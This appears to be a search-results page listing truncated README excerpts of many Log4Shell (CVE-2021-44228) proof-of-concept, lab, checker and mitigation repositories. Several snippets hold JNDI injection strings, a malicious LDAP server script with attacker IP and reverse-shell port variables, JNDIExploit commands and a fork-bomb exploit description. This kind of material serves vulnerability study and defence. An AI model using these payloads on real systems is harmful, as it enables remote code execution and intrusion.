34 matches found
test-44228
test-44228 针对 CVE-2021-44228 的简单示例 实现了两个 Java CLI 程序,一个使用 log4j v1.x,另一个使用 log4j 2.x,用以演示 log4shell 漏洞。 另请参阅: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html 使用方法 存在漏洞的 Log4J2 1. 在某个服务器(localhost 或远程)上启动监听器,例如: root@kitploit: $ sud...
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell 概念验证 Apache Log4j2 版本 =2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时,能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。 为了帮助客户理解此漏洞的工作原理,我们准备了此仓库,内含一个简单但有效的概念验证。 前提条件 本地已安装: Git JDK 11 Maven Python 目前,该任意代码会在 macOS 或 Windows 上启动计算器应用程序,因此此 PoC...
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP查找漏洞的概念验证 您可以在此处阅读有关该漏洞的更多信息: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 如何运行提供的返回恶意对象的LDAP服务器? java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"...
log4j-cve-2021-44228
Log4j CVE-2021-44228 和 CVE-2021-45046 先决条件 使用存在漏洞的 JDK,例如 JDK 1.8.0181 用法 恶意服务器 恶意服务器部署以下端点: 1389 LDAP 服务器 1099 RMI 服务器 8081 HTTP 服务器 root@kitploit: ./gradlew :malicious-server:bootRun 存在漏洞的应用程序 存在漏洞的应用程序在 8082 端口部署一个 HTTP 端点 root@kitploit: ./gradlew :vulnerable-app:bootRun 远程代码执行...
CVE-2021-44228
CVE-2021-44228 检查器 这是用于检查漏洞 CVE-2021-44228 的仓库。 这是一个仅显示字符串的PoC,不涉及任何外部类加载。它不能用于任意代码执行。 它是如何工作的? 步骤 1: 运行服务器应用 镜像 ghcr.io/greymd/cve-2021-44228/server 可用,并且可以在Docker上运行。 root@kitploit: $ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server 步骤 2: 使用log4j访问端点 准备使用log4j输出日志的代码,并在同一主机上运行。...
log4j2-CVE-2021-44228
示例 Log4j2 易受攻击的应用程序 CVE-2021-44228 受影响版本:从 2.0-beta9 到 2.14.1 的所有版本 此应用程序基于易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序。 它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)。 运行应用程序 运行它: root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器(server 模块),该服务器将提供字符串和代码的表示(payload 模块) 2. 创建受害者示例(victim 模块),并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器(使用Marshalsec) !/bin/bash Script: startldapserver.sh 要求:安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...
CVE-2021-44228-Demo
CVE-2021-44228-Demo Ejemplo de inyección remota de código a través de CVE-2021-44228 utilizando RMI y LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello,...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 – Inyección JNDI estilo Log4j en un logger personalizado Simulado Código del programa simulación en Java en Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes patter...
homelab-CVE-2021-44228
Homelab: Log4Shell CVE-2021-44228 在 Apache Solr 上 用于在 Docker 中复现和研究 Apache Solr 上 Log4Shell 漏洞的受控环境。 环境 靶机 solr-lab:Apache Solr v8.11.0 vulhub/solr:8.11.0,运行着一个存在漏洞的 Log4j 版本。 攻击机 kali-lab:基础 Kali Linux 容器,预装了 nmap、curl 和 netcat。 如何启动实验室 1. 初始化容器 在您的终端中,将环境在后台启动: root@kitploit: docker compose up...
ModSec-log4j2
测试 ModSec 规则 前提条件 已安装 Docker 已在本机安装 Java 执行测试 克隆仓库 执行以下命令启动 WAF(ModSec)和易受攻击的应用 root@kitploit: docker stack deploy -c docker-compose.yml WAF 解压仓库中的 JNDIExploit.v1.2.zip,进入文件夹并执行以下命令,其中 $IP 应为本机 IP,不建议使用 127.0.0.1 root@kitploit: java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888 要测试 RCE,请执行下面...
log4j2-test
Log4j2 2.14.1 LDAP 远程代码执行漏洞CVE-2021-44228验证 🎈 在 Spring Boot 2.x 环境中测试 漏洞公告 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : 将 Log4j2 版本降低到存在漏洞的版本 root@kitploit: 17 2.14.1 LoggingController : 添加直接接收用户输入并进行日志记录的控制器方法 root@kitploit: @PostMapping"/form" public String formString...
log4j-vul
log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞,即 CVE-2021-44228。 Java: java version "1.8.0121" 编译: (在 src 文件夹内) javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行: (在 src 文件夹内) java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...
log4shell
Log4Shell Este proyecto es una demostración del funcionamiento de la vulnerabilidad de seguridad log4shell. Esta vulnerabilidad está descrita en la CVE-2021-44228. El proyecto está destinado únicamente a fines educativos. Solo debe utilizarse en su propio sistema y únicamente con fines...
Log4j_Vulnerability_Demo
Log4jVulnerabilityDemo A simple program to demonstrate how Log4j vulnerability can be exploited CVE-2021-44228 Running the Demo : To start the program, simply run the start.sh on UNIX systems or start.bat on Windows. User input will be read and logged to console using the Log4j framework. By...
CVE-2021-44228
Log4Shell Prueba de Concepto Este repositorio es una prueba de concepto para la vulnerabilidad CVE-2021-44228. Se deriva de este repositorio. En este repositorio he creado un ejemplo de una aplicación vulnerable y una demostración de cómo explotarla. Componentes de la prueba de concepto He...
log4j2-issue-check
评估 Log4Shell:RCE 0-day 问题 该仓库包含评估 Log4j2 问题 CVE-2021-44228 的代码 更多详情 https://www.lunasec.io/docs/blog/log4j-zero-day/ 如何测试 发送带有查询参数 $jndi:ldap://127.0.0.1:3089/ 的 GET 请求。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 当发送上述请求时,应用程序会尝试连接到 LDAP...
log4j-jndi-be-gone
log4j-jndi-be-gone 一个基于 Byte Buddy Java agent 的修复方案,用于 CVE-2021-44228,即 log4j 2.x 的 "JNDI LDAP" 漏洞。 它做三件事: 禁用 jndi: 格式字符串("lookups")的内部方法处理器。 向 System.err(即 stderr)记录一条消息,表明发生了 log4j JNDI 尝试(包括尝试的格式字符串,其中任何 $ 字符均被清理以防止传递注入)。 将格式字符串解析为日志消息中的 "log4j jndi disabled"(以防止传递注入)。 使用方法 将...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.12.1 y desde 2.13.0 hasta 2.15.0 Avisos / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: 1. Descargue el proyecto y compile InjectClazz.java root@kitploit:...